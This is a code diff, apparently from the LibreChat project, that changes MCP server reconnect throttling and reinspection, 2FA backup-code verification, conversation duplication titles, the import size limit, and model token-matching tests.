provider: 'openai',
|
||||||
|
userMCPAuthMap: {},
|
||||||
|
availableTools: undefined,
|
||||||
|
});
|
||||||
|
|
||||||
|
// User A: tool-2 on same server within 10s → throttled → cached from throttle
|
||||||
|
await createMCPTool({
|
||||||
|
res: mockRes,
|
||||||
|
user: userA,
|
||||||
|
toolKey: `tool-2${D}storm-server`,
|
||||||
|
provider: 'openai',
|
||||||
|
userMCPAuthMap: {},
|
||||||
|
availableTools: undefined,
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
|
||||||
|
|
||||||
|
// User B requests tool-2 — gets cache hit from the throttle-cached entry.
|
||||||
|
// Without this caching, user B would trigger a real reconnect since
|
||||||
|
// user B has their own throttle key and hasn't reconnected yet.
|
||||||
|
const result = await createMCPTool({
|
||||||
|
res: mockRes,
|
||||||
|
user: userB,
|
||||||
|
toolKey: `tool-2${D}storm-server`,
|
||||||
|
provider: 'openai',
|
||||||
|
userMCPAuthMap: {},
|
||||||
|
availableTools: undefined,
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(result).toBeDefined();
|
||||||
|
expect(result.name).toContain('tool-2');
|
||||||
|
// Still only 1 real reconnect — user B was protected by the cache
|
||||||
|
expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('createMCPTools throttle handling', () => {
|
||||||
|
it('should return empty array with debug log when reconnect is throttled', async () => {
|
||||||
|
const mockUser = { id: 'throttle-tools-user' };
|
||||||
|
const mockRes = { write: jest.fn(), flush: jest.fn() };
|
||||||
|
|
||||||
|
// First call: real reconnect
|
||||||
|
mockReinitMCPServer.mockResolvedValueOnce({
|
||||||
|
tools: [{ name: 'tool1' }],
|
||||||
|
availableTools: {
|
||||||
|
[`tool1${D}throttle-tools-server`]: {
|
||||||
|
function: { description: 'Tool 1', parameters: {} },
|
||||||
|
},
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
await createMCPTools({
|
||||||
|
res: mockRes,
|
||||||
|
user: mockUser,
|
||||||
|
serverName: 'throttle-tools-server',
|
||||||
|
provider: 'openai',
|
||||||
|
userMCPAuthMap: {},
|
||||||
|
});
|
||||||
|
|
||||||
|
// Second call within 10s — throttled
|
||||||
|
const result = await createMCPTools({
|
||||||
|
res: mockRes,
|
||||||
|
user: mockUser,
|
||||||
|
serverName: 'throttle-tools-server',
|
||||||
|
provider: 'openai',
|
||||||
|
userMCPAuthMap: {},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(result).toEqual([]);
|
||||||
|
// reinitMCPServer called only once — second was throttled
|
||||||
|
expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
|
||||||
|
// Should log at debug level (not warn) for throttled case
|
||||||
|
expect(logger.debug).toHaveBeenCalledWith(expect.stringContaining('Reconnect throttled'));
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
describe('User parameter integrity', () => {
|
describe('User parameter integrity', () => {
|
||||||
it('should preserve user object properties through the call chain', async () => {
|
it('should preserve user object properties through the call chain', async () => {
|
||||||
const complexUser = {
|
const complexUser = {
|
||||||
|
|
|
||||||
|
|
@ -1,8 +1,8 @@
|
||||||
const { logger } = require('@librechat/data-schemas');
|
const { logger } = require('@librechat/data-schemas');
|
||||||
const { CacheKeys, Constants } = require('librechat-data-provider');
|
const { CacheKeys, Constants } = require('librechat-data-provider');
|
||||||
|
const { getMCPManager, getMCPServersRegistry, getFlowStateManager } = require('~/config');
|
||||||
const { findToken, createToken, updateToken, deleteTokens } = require('~/models');
|
const { findToken, createToken, updateToken, deleteTokens } = require('~/models');
|
||||||
const { updateMCPServerTools } = require('~/server/services/Config');
|
const { updateMCPServerTools } = require('~/server/services/Config');
|
||||||
const { getMCPManager, getFlowStateManager } = require('~/config');
|
|
||||||
const { getLogStores } = require('~/cache');
|
const { getLogStores } = require('~/cache');
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|
@ -41,6 +41,33 @@ async function reinitMCPServer({
|
||||||
let oauthUrl = null;
|
let oauthUrl = null;
|
||||||
|
|
||||||
try {
|
try {
|
||||||
|
const registry = getMCPServersRegistry();
|
||||||
|
const serverConfig = await registry.getServerConfig(serverName, user?.id);
|
||||||
|
if (serverConfig?.inspectionFailed) {
|
||||||
|
logger.info(
|
||||||
|
`[MCP Reinitialize] Server ${serverName} had failed inspection, attempting reinspection`,
|
||||||
|
);
|
||||||
|
try {
|
||||||
|
const storageLocation = serverConfig.dbId ? 'DB' : 'CACHE';
|
||||||
|
await registry.reinspectServer(serverName, storageLocation, user?.id);
|
||||||
|
logger.info(`[MCP Reinitialize] Reinspection succeeded for server: ${serverName}`);
|
||||||
|
} catch (reinspectError) {
|
||||||
|
logger.error(
|
||||||
|
`[MCP Reinitialize] Reinspection failed for server ${serverName}:`,
|
||||||
|
reinspectError,
|
||||||
|
);
|
||||||
|
return {
|
||||||
|
availableTools: null,
|
||||||
|
success: false,
|
||||||
|
message: `MCP server '${serverName}' is still unreachable`,
|
||||||
|
oauthRequired: false,
|
||||||
|
serverName,
|
||||||
|
oauthUrl: null,
|
||||||
|
tools: null,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const customUserVars = userMCPAuthMap?.[`${Constants.mcp_prefix}${serverName}`];
|
const customUserVars = userMCPAuthMap?.[`${Constants.mcp_prefix}${serverName}`];
|
||||||
const flowManager = _flowManager ?? getFlowStateManager(getLogStores(CacheKeys.FLOWS));
|
const flowManager = _flowManager ?? getFlowStateManager(getLogStores(CacheKeys.FLOWS));
|
||||||
const mcpManager = getMCPManager();
|
const mcpManager = getMCPManager();
|
||||||
|
|
|
||||||
|
|
@ -153,9 +153,11 @@ const generateBackupCodes = async (count = 10) => {
|
||||||
* @param {Object} params
|
* @param {Object} params
|
||||||
* @param {Object} params.user
|
* @param {Object} params.user
|
||||||
* @param {string} params.backupCode
|
* @param {string} params.backupCode
|
||||||
|
* @param {boolean} [params.persist=true] - Whether to persist the used-mark to the database.
|
||||||
|
* Pass `false` when the caller will immediately overwrite `backupCodes` (e.g. re-enrollment).
|
||||||
* @returns {Promise<boolean>}
|
* @returns {Promise<boolean>}
|
||||||
*/
|
*/
|
||||||
const verifyBackupCode = async ({ user, backupCode }) => {
|
const verifyBackupCode = async ({ user, backupCode, persist = true }) => {
|
||||||
if (!backupCode || !user || !Array.isArray(user.backupCodes)) {
|
if (!backupCode || !user || !Array.isArray(user.backupCodes)) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
@ -165,17 +167,50 @@ const verifyBackupCode = async ({ user, backupCode }) => {
|
||||||
(codeObj) => codeObj.codeHash === hashedInput && !codeObj.used,
|
(codeObj) => codeObj.codeHash === hashedInput && !codeObj.used,
|
||||||
);
|
);
|
||||||
|
|
||||||
if (matchingCode) {
|
if (!matchingCode) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (persist) {
|
||||||
const updatedBackupCodes = user.backupCodes.map((codeObj) =>
|
const updatedBackupCodes = user.backupCodes.map((codeObj) =>
|
||||||
codeObj.codeHash === hashedInput && !codeObj.used
|
codeObj.codeHash === hashedInput && !codeObj.used
|
||||||
? { ...codeObj, used: true, usedAt: new Date() }
|
? { ...codeObj, used: true, usedAt: new Date() }
|
||||||
: codeObj,
|
: codeObj,
|
||||||
);
|
);
|
||||||
// Update the user record with the marked backup code.
|
|
||||||
await updateUser(user._id, { backupCodes: updatedBackupCodes });
|
await updateUser(user._id, { backupCodes: updatedBackupCodes });
|
||||||
return true;
|
|
||||||
}
|
}
|
||||||
return false;
|
return true;
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Verifies a user's identity via TOTP token or backup code.
|
||||||
|
* @param {Object} params
|
||||||
|
* @param {Object} params.user - The user document (must include totpSecret and backupCodes).
|
||||||
|
* @param {string} [params.token] - A 6-digit TOTP token.
|
||||||
|
* @param {string} [params.backupCode] - An 8-character backup code.
|
||||||
|
* @param {boolean} [params.persistBackupUse=true] - Whether to mark the backup code as used in the DB.
|
||||||
|
* @returns {Promise<{ verified: boolean, status?: number, message?: string }>}
|
||||||
|
*/
|
||||||
|
const verifyOTPOrBackupCode = async ({ user, token, backupCode, persistBackupUse = true }) => {
|
||||||
|
if (!token && !backupCode) {
|
||||||
|
return { verified: false, status: 400 };
|
||||||
|
}
|
||||||
|
|
||||||
|
if (token) {
|
||||||
|
const secret = await getTOTPSecret(user.totpSecret);
|
||||||
|
if (!secret) {
|
||||||
|
return { verified: false, status: 400, message: '2FA secret is missing or corrupted' };
|
||||||
|
}
|
||||||
|
const ok = await verifyTOTP(secret, token);
|
||||||
|
return ok
|
||||||
|
? { verified: true }
|
||||||
|
: { verified: false, status: 401, message: 'Invalid token or backup code' };
|
||||||
|
}
|
||||||
|
|
||||||
|
const ok = await verifyBackupCode({ user, backupCode, persist: persistBackupUse });
|
||||||
|
return ok
|
||||||
|
? { verified: true }
|
||||||
|
: { verified: false, status: 401, message: 'Invalid token or backup code' };
|
||||||
};
|
};
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|
@ -213,11 +248,12 @@ const generate2FATempToken = (userId) => {
|
||||||
};
|
};
|
||||||
|
|
||||||
module.exports = {
|
module.exports = {
|
||||||
generateTOTPSecret,
|
verifyOTPOrBackupCode,
|
||||||
generateTOTP,
|
generate2FATempToken,
|
||||||
verifyTOTP,
|
|
||||||
generateBackupCodes,
|
generateBackupCodes,
|
||||||
|
generateTOTPSecret,
|
||||||
verifyBackupCode,
|
verifyBackupCode,
|
||||||
getTOTPSecret,
|
getTOTPSecret,
|
||||||
generate2FATempToken,
|
generateTOTP,
|
||||||
|
verifyTOTP,
|
||||||
};
|
};
|
||||||
|
|
|
||||||
|
|
@ -358,16 +358,15 @@ function splitAtTargetLevel(messages, targetMessageId) {
|
||||||
* @param {object} params - The parameters for duplicating the conversation.
|
* @param {object} params - The parameters for duplicating the conversation.
|
||||||
* @param {string} params.userId - The ID of the user duplicating the conversation.
|
* @param {string} params.userId - The ID of the user duplicating the conversation.
|
||||||
* @param {string} params.conversationId - The ID of the conversation to duplicate.
|
* @param {string} params.conversationId - The ID of the conversation to duplicate.
|
||||||
|
* @param {string} [params.title] - Optional title override for the duplicate.
|
||||||
* @returns {Promise<{ conversation: TConversation, messages: TMessage[] }>} The duplicated conversation and messages.
|
* @returns {Promise<{ conversation: TConversation, messages: TMessage[] }>} The duplicated conversation and messages.
|
||||||
*/
|
*/
|
||||||
async function duplicateConversation({ userId, conversationId }) {
|
async function duplicateConversation({ userId, conversationId, title }) {
|
||||||
// Get original conversation
|
|
||||||
const originalConvo = await getConvo(userId, conversationId);
|
const originalConvo = await getConvo(userId, conversationId);
|
||||||
if (!originalConvo) {
|
if (!originalConvo) {
|
||||||
throw new Error('Conversation not found');
|
throw new Error('Conversation not found');
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get original messages
|
|
||||||
const originalMessages = await getMessages({
|
const originalMessages = await getMessages({
|
||||||
user: userId,
|
user: userId,
|
||||||
conversationId,
|
conversationId,
|
||||||
|
|
@ -383,14 +382,11 @@ async function duplicateConversation({ userId, conversationId }) {
|
||||||
|
|
||||||
cloneMessagesWithTimestamps(messagesToClone, importBatchBuilder);
|
cloneMessagesWithTimestamps(messagesToClone, importBatchBuilder);
|
||||||
|
|
||||||
const result = importBatchBuilder.finishConversation(
|
const duplicateTitle = title || originalConvo.title;
|
||||||
originalConvo.title,
|
const result = importBatchBuilder.finishConversation(duplicateTitle, new Date(), originalConvo);
|
||||||
new Date(),
|
|
||||||
originalConvo,
|
|
||||||
);
|
|
||||||
await importBatchBuilder.saveBatch();
|
await importBatchBuilder.saveBatch();
|
||||||
logger.debug(
|
logger.debug(
|
||||||
`user: ${userId} | New conversation "${originalConvo.title}" duplicated from conversation ID ${conversationId}`,
|
`user: ${userId} | New conversation "${duplicateTitle}" duplicated from conversation ID ${conversationId}`,
|
||||||
);
|
);
|
||||||
|
|
||||||
const conversation = await getConvo(userId, result.conversation.conversationId);
|
const conversation = await getConvo(userId, result.conversation.conversationId);
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,10 @@
|
||||||
const fs = require('fs').promises;
|
const fs = require('fs').promises;
|
||||||
|
const { resolveImportMaxFileSize } = require('@librechat/api');
|
||||||
const { logger } = require('@librechat/data-schemas');
|
const { logger } = require('@librechat/data-schemas');
|
||||||
const { getImporter } = require('./importers');
|
const { getImporter } = require('./importers');
|
||||||
|
|
||||||
|
const maxFileSize = resolveImportMaxFileSize();
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Job definition for importing a conversation.
|
* Job definition for importing a conversation.
|
||||||
* @param {{ filepath, requestUserId }} job - The job object.
|
* @param {{ filepath, requestUserId }} job - The job object.
|
||||||
|
|
@ -11,11 +14,10 @@ const importConversations = async (job) => {
|
||||||
try {
|
try {
|
||||||
logger.debug(`user: ${requestUserId} | Importing conversation(s) from file...`);
|
logger.debug(`user: ${requestUserId} | Importing conversation(s) from file...`);
|
||||||
|
|
||||||
/* error if file is too large */
|
|
||||||
const fileInfo = await fs.stat(filepath);
|
const fileInfo = await fs.stat(filepath);
|
||||||
if (fileInfo.size > process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES) {
|
if (fileInfo.size > maxFileSize) {
|
||||||
throw new Error(
|
throw new Error(
|
||||||
`File size is ${fileInfo.size} bytes. It exceeds the maximum limit of ${process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES} bytes.`,
|
`File size is ${fileInfo.size} bytes. It exceeds the maximum limit of ${maxFileSize} bytes.`,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,5 +1,4 @@
|
||||||
// --- Mocks ---
|
// --- Mocks ---
|
||||||
jest.mock('tiktoken');
|
|
||||||
jest.mock('fs');
|
jest.mock('fs');
|
||||||
jest.mock('path');
|
jest.mock('path');
|
||||||
jest.mock('node-fetch');
|
jest.mock('node-fetch');
|
||||||
|
|
|
||||||
|
|
@ -214,6 +214,25 @@ describe('getModelMaxTokens', () => {
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test('should return correct tokens for gpt-5.4 matches', () => {
|
||||||
|
expect(getModelMaxTokens('gpt-5.4')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.4']);
|
||||||
|
expect(getModelMaxTokens('gpt-5.4-thinking')).toBe(
|
||||||
|
maxTokensMap[EModelEndpoint.openAI]['gpt-5.4'],
|
||||||
|
);
|
||||||
|
expect(getModelMaxTokens('openai/gpt-5.4')).toBe(
|
||||||
|
maxTokensMap[EModelEndpoint.openAI]['gpt-5.4'],
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should return correct tokens for gpt-5.4-pro matches', () => {
|
||||||
|
expect(getModelMaxTokens('gpt-5.4-pro')).toBe(
|
||||||
|
maxTokensMap[EModelEndpoint.openAI]['gpt-5.4-pro'],
|
||||||
|
);
|
||||||
|
expect(getModelMaxTokens('openai/gpt-5.4-pro')).toBe(
|
||||||
|
maxTokensMap[EModelEndpoint.openAI]['gpt-5.4-pro'],
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
test('should return correct tokens for Anthropic models', () => {
|
test('should return correct tokens for Anthropic models', () => {
|
||||||
const models = [
|
const models = [
|
||||||
'claude-2.1',
|
'claude-2.1',
|
||||||
|
|
@ -251,16 +270,6 @@ describe('getModelMaxTokens', () => {
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
// Tests for Google models
|
|
||||||
test('should return correct tokens for exact match - Google models', () => {
|
|
||||||
expect(getModelMaxTokens('text-bison-32k', EModelEndpoint.google)).toBe(
|
|
||||||
maxTokensMap[EModelEndpoint.google]['text-bison-32k'],
|
|
||||||
);
|
|
||||||
expect(getModelMaxTokens('codechat-bison-32k', EModelEndpoint.google)).toBe(
|
|
||||||
maxTokensMap[EModelEndpoint.google]['codechat-bison-32k'],
|
|
||||||
);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('should return undefined for no match - Google models', () => {
|
test('should return undefined for no match - Google models', () => {
|
||||||
expect(getModelMaxTokens('unknown-google-model', EModelEndpoint.google)).toBeUndefined();
|
expect(getModelMaxTokens('unknown-google-model', EModelEndpoint.google)).toBeUndefined();
|
||||||
});
|
});
|
||||||
|
|
@ -317,12 +326,6 @@ describe('getModelMaxTokens', () => {
|
||||||
expect(getModelMaxTokens('gemini-pro', EModelEndpoint.google)).toBe(
|
expect(getModelMaxTokens('gemini-pro', EModelEndpoint.google)).toBe(
|
||||||
maxTokensMap[EModelEndpoint.google]['gemini'],
|
maxTokensMap[EModelEndpoint.google]['gemini'],
|
||||||
);
|
);
|
||||||
expect(getModelMaxTokens('code-', EModelEndpoint.google)).toBe(
|
|
||||||
maxTokensMap[EModelEndpoint.google]['code-'],
|
|
||||||
);
|
|
||||||
expect(getModelMaxTokens('chat-', EModelEndpoint.google)).toBe(
|
|
||||||
maxTokensMap[EModelEndpoint.google]['chat-'],
|
|
||||||
);
|
|
||||||
});
|
});
|
||||||
|
|
||||||
test('should return correct tokens for partial match - Cohere models', () => {
|
test('should return correct tokens for partial match - Cohere models', () => {
|
||||||
|
|
@ -511,6 +514,8 @@ describe('getModelMaxTokens', () => {
|
||||||
'gpt-5.1',
|
'gpt-5.1',
|
||||||
'gpt-5.2',
|
'gpt-5.2',
|
||||||
'gpt-5.3',
|
'gpt-5.3',
|
||||||
|
'gpt-5.4',
|
||||||
|
'gpt-5.4-pro',
|
||||||
'gpt-5-mini',
|
'gpt-5-mini',
|
||||||
'gpt-5-nano',
|
'gpt-5-nano',
|
||||||
'gpt-5-pro',
|
'gpt-5-pro',
|
||||||
|
|
@ -541,6 +546,184 @@ describe('getModelMaxTokens', () => {
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('findMatchingPattern - longest match wins', () => {
|
||||||
|
test('should prefer longer matching key over shorter cross-provider pattern', () => {
|
||||||
|
const result = findMatchingPattern(
|
||||||
|
'gpt-5.2-chat-2025-12-11',
|
||||||
|
maxTokensMap[EModelEndpoint.openAI],
|
||||||
|
);
|
||||||
|
expect(result).toBe('gpt-5.2');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should match gpt-5.2 tokens for date-suffixed chat variant', () => {
|
||||||
|
expect(getModelMaxTokens('gpt-5.2-chat-2025-12-11')).toBe(
|
||||||
|
maxTokensMap[EModelEndpoint.openAI]['gpt-5.2'],
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should match gpt-5.2-pro over shorter patterns', () => {
|
||||||
|
expect(getModelMaxTokens('gpt-5.2-pro-chat-2025-12-11')).toBe(
|
||||||
|
maxTokensMap[EModelEndpoint.openAI]['gpt-5.2-pro'],
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should match gpt-5-mini over gpt-5 for mini variants', () => {
|
||||||
|
expect(getModelMaxTokens('gpt-5-mini-chat-2025-01-01')).toBe(
|
||||||
|
maxTokensMap[EModelEndpoint.openAI]['gpt-5-mini'],
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should prefer gpt-4-1106 over gpt-4 for versioned model names', () => {
|
||||||
|
const result = findMatchingPattern('gpt-4-1106-preview', maxTokensMap[EModelEndpoint.openAI]);
|
||||||
|
expect(result).toBe('gpt-4-1106');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should prefer gpt-4-32k-0613 over gpt-4-32k for exact versioned names', () => {
|
||||||
|
const result = findMatchingPattern('gpt-4-32k-0613', maxTokensMap[EModelEndpoint.openAI]);
|
||||||
|
expect(result).toBe('gpt-4-32k-0613');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should prefer claude-3-5-sonnet over claude-3', () => {
|
||||||
|
const result = findMatchingPattern(
|
||||||
|
'claude-3-5-sonnet-20241022',
|
||||||
|
maxTokensMap[EModelEndpoint.anthropic],
|
||||||
|
);
|
||||||
|
expect(result).toBe('claude-3-5-sonnet');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should prefer gemini-2.0-flash-lite over gemini-2.0-flash', () => {
|
||||||
|
const result = findMatchingPattern(
|
||||||
|
'gemini-2.0-flash-lite-preview',
|
||||||
|
maxTokensMap[EModelEndpoint.google],
|
||||||
|
);
|
||||||
|
expect(result).toBe('gemini-2.0-flash-lite');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('findMatchingPattern - bestLength selection', () => {
|
||||||
|
test('should return the longest matching key when multiple keys match', () => {
|
||||||
|
const tokensMap = { short: 100, 'short-med': 200, 'short-med-long': 300 };
|
||||||
|
expect(findMatchingPattern('short-med-long-extra', tokensMap)).toBe('short-med-long');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should return the longest match regardless of key insertion order', () => {
|
||||||
|
const tokensMap = { 'a-b-c': 300, a: 100, 'a-b': 200 };
|
||||||
|
expect(findMatchingPattern('a-b-c-d', tokensMap)).toBe('a-b-c');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should return null when no key matches', () => {
|
||||||
|
const tokensMap = { alpha: 100, beta: 200 };
|
||||||
|
expect(findMatchingPattern('gamma-delta', tokensMap)).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should return the single matching key when only one matches', () => {
|
||||||
|
const tokensMap = { alpha: 100, beta: 200, gamma: 300 };
|
||||||
|
expect(findMatchingPattern('beta-extended', tokensMap)).toBe('beta');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should match case-insensitively against model name', () => {
|
||||||
|
const tokensMap = { 'gpt-5': 400000 };
|
||||||
|
expect(findMatchingPattern('GPT-5-turbo', tokensMap)).toBe('gpt-5');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should select the longest key among overlapping substring matches', () => {
|
||||||
|
const tokensMap = { 'gpt-': 100, 'gpt-5': 200, 'gpt-5.2': 300, 'gpt-5.2-pro': 400 };
|
||||||
|
expect(findMatchingPattern('gpt-5.2-pro-2025-01-01', tokensMap)).toBe('gpt-5.2-pro');
|
||||||
|
expect(findMatchingPattern('gpt-5.2-chat-2025-01-01', tokensMap)).toBe('gpt-5.2');
|
||||||
|
expect(findMatchingPattern('gpt-5.1-preview', tokensMap)).toBe('gpt-5');
|
||||||
|
expect(findMatchingPattern('gpt-unknown', tokensMap)).toBe('gpt-');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should not be confused by a short key that appears later in the model name', () => {
|
||||||
|
const tokensMap = { 'model-v2': 200, v2: 100 };
|
||||||
|
expect(findMatchingPattern('model-v2-extended', tokensMap)).toBe('model-v2');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should handle exact-length match as the best match', () => {
|
||||||
|
const tokensMap = { 'exact-model': 500, exact: 100 };
|
||||||
|
expect(findMatchingPattern('exact-model', tokensMap)).toBe('exact-model');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should return null for empty model name', () => {
|
||||||
|
expect(findMatchingPattern('', { 'gpt-5': 400000 })).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should prefer last-defined key on same-length ties', () => {
|
||||||
|
const tokensMap = { 'aa-bb': 100, 'cc-dd': 200 };
|
||||||
|
// model name contains both 5-char keys; last-defined wins in reverse iteration
|
||||||
|
expect(findMatchingPattern('aa-bb-cc-dd', tokensMap)).toBe('cc-dd');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('longest match beats short cross-provider pattern even when both present', () => {
|
||||||
|
const tokensMap = { 'gpt-5.2': 400000, 'chat-': 8187 };
|
||||||
|
expect(findMatchingPattern('gpt-5.2-chat-2025-12-11', tokensMap)).toBe('gpt-5.2');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('should match case-insensitively against keys', () => {
|
||||||
|
const tokensMap = { 'GPT-5': 400000 };
|
||||||
|
expect(findMatchingPattern('gpt-5-turbo', tokensMap)).toBe('GPT-5');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('findMatchingPattern - iteration performance', () => {
|
||||||
|
let includesSpy;
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
includesSpy = jest.spyOn(String.prototype, 'includes');
|
||||||
|
});
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
includesSpy.mockRestore();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('exact match early-exits with minimal includes() checks', () => {
|
||||||
|
const openAIMap = maxTokensMap[EModelEndpoint.openAI];
|
||||||
|
const keys = Object.keys(openAIMap);
|
||||||
|
const lastKey = keys[keys.length - 1];
|
||||||
|
includesSpy.mockClear();
|
||||||
|
const result = findMatchingPattern(lastKey, openAIMap);
|
||||||
|
const exactCalls = includesSpy.mock.calls.length;
|
||||||
|
|
||||||
|
expect(result).toBe(lastKey);
|
||||||
|
expect(exactCalls).toBe(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('bestLength check skips includes() for shorter keys after a long match', () => {
|
||||||
|
const openAIMap = maxTokensMap[EModelEndpoint.openAI];
|
||||||
|
includesSpy.mockClear();
|
||||||
|
findMatchingPattern('gpt-3.5-turbo-0301-test', openAIMap);
|
||||||
|
const longKeyCalls = includesSpy.mock.calls.length;
|
||||||
|
|
||||||
|
includesSpy.mockClear();
|
||||||
|
findMatchingPattern('gpt-5.3-chat-latest', openAIMap);
|
||||||
|
const shortKeyCalls = includesSpy.mock.calls.length;
|
||||||
|
|
||||||
|
// gpt-3.5-turbo-0301 (20 chars) matches early, then bestLength prunes most keys
|
||||||
|
// gpt-5.3 (7 chars) is short, so fewer keys are pruned by the length check
|
||||||
|
expect(longKeyCalls).toBeLessThan(shortKeyCalls);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('last-defined keys are checked first in reverse iteration', () => {
|
||||||
|
const tokensMap = { first: 100, second: 200, third: 300 };
|
||||||
|
includesSpy.mockClear();
|
||||||
|
const result = findMatchingPattern('third', tokensMap);
|
||||||
|
const calls = includesSpy.mock.calls.length;
|
||||||
|
|
||||||
|
// 'third' is last key, found on first reverse check, exact match exits immediately
|
||||||
|
expect(result).toBe('third');
|
||||||
|
expect(calls).toBe(1);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('deprecated PaLM2/Codey model removal', () => {
|
||||||
|
test('deprecated PaLM2/Codey models no longer have token entries', () => {
|
||||||
|
expect(getModelMaxTokens('text-bison-32k', EModelEndpoint.google)).toBeUndefined();
|
||||||
|
expect(getModelMaxTokens('codechat-bison-32k', EModelEndpoint.google)).toBeUndefined();
|
||||||
|
expect(getModelMaxTokens('code-bison', EModelEndpoint.google)).toBeUndefined();
|
||||||
|
expect(getModelMaxTokens('chat-bison', EModelEndpoint.google)).toBeUndefined();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
describe('matchModelName', () => {
|
describe('matchModelName', () => {
|
||||||
it('should return the exact model name if it exists in maxTokensMap', () => {
|
it('should return the exact model name if it exists in maxTokensMap', () => {
|
||||||
expect(matchModelName('gpt-4-32k-0613')).toBe('gpt-4-32k-0613');
|
expect(matchModelName('gpt-4-32k-0613')).toBe('gpt-4-32k-0613');
|
||||||
|
|
@ -642,10 +825,10 @@ describe('matchModelName', () => {
|
||||||
expect(matchModelName('gpt-5.3-2025-03-01')).toBe('gpt-5.3');
|
expect(matchModelName('gpt-5.3-2025-03-01')).toBe('gpt-5.3');
|
||||||
});
|
});
|
||||||
|
|
||||||
// Tests for Google models
|
it('should return the closest matching key for gpt-5.4 matches', () => {
|
||||||
it('should return the exact model name if it exists in maxTokensMap - Google models', () => {
|
expect(matchModelName('openai/gpt-5.4')).toBe('gpt-5.4');
|
||||||
expect(matchModelName('text-bison-32k', EModelEndpoint.google)).toBe('text-bison-32k');
|
expect(matchModelName('gpt-5.4-thinking')).toBe('gpt-5.4');
|
||||||
expect(matchModelName('codechat-bison-32k', EModelEndpoint.google)).toBe('codechat-bison-32k');
|
expect(matchModelName('gpt-5.4-pro')).toBe('gpt-5.4-pro');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should return the input model name if no match is found - Google models', () => {
|
it('should return the input model name if no match is found - Google models', () => {
|
||||||
|
|
@ -653,11 +836,6 @@ describe('matchModelName', () => {
|
||||||
'unknown-google-model',
|
'unknown-google-model',
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should return the closest matching key for partial matches - Google models', () => {
|
|
||||||
expect(matchModelName('code-', EModelEndpoint.google)).toBe('code-');
|
|
||||||
expect(matchModelName('chat-', EModelEndpoint.google)).toBe('chat-');
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('Meta Models Tests', () => {
|
describe('Meta Models Tests', () => {
|
||||||
|
|
|
||||||
|
|
@ -1,4 +1,4 @@
|
||||||
/** v0.8.3-rc2 */
|
/** v0.8.3 */
|
||||||
module.exports = {
|
module.exports = {
|
||||||
roots: ['<rootDir>/src'],
|
roots: ['<rootDir>/src'],
|
||||||
testEnvironment: 'jsdom',
|
testEnvironment: 'jsdom',
|
||||||
|
|
@ -32,6 +32,7 @@ module.exports = {
|
||||||
'^librechat-data-provider/react-query$':
|
'^librechat-data-provider/react-query$':
|
||||||
'<rootDir>/../node_modules/librechat-data-provider/src/react-query',
|
'<rootDir>/../node_modules/librechat-data-provider/src/react-query',
|
||||||
},
|
},
|
||||||
|
maxWorkers: '50%',
|
||||||
restoreMocks: true,
|
restoreMocks: true,
|
||||||
testResultsProcessor: 'jest-junit',
|
testResultsProcessor: 'jest-junit',
|
||||||
coverageReporters: ['text', 'cobertura', 'lcov'],
|
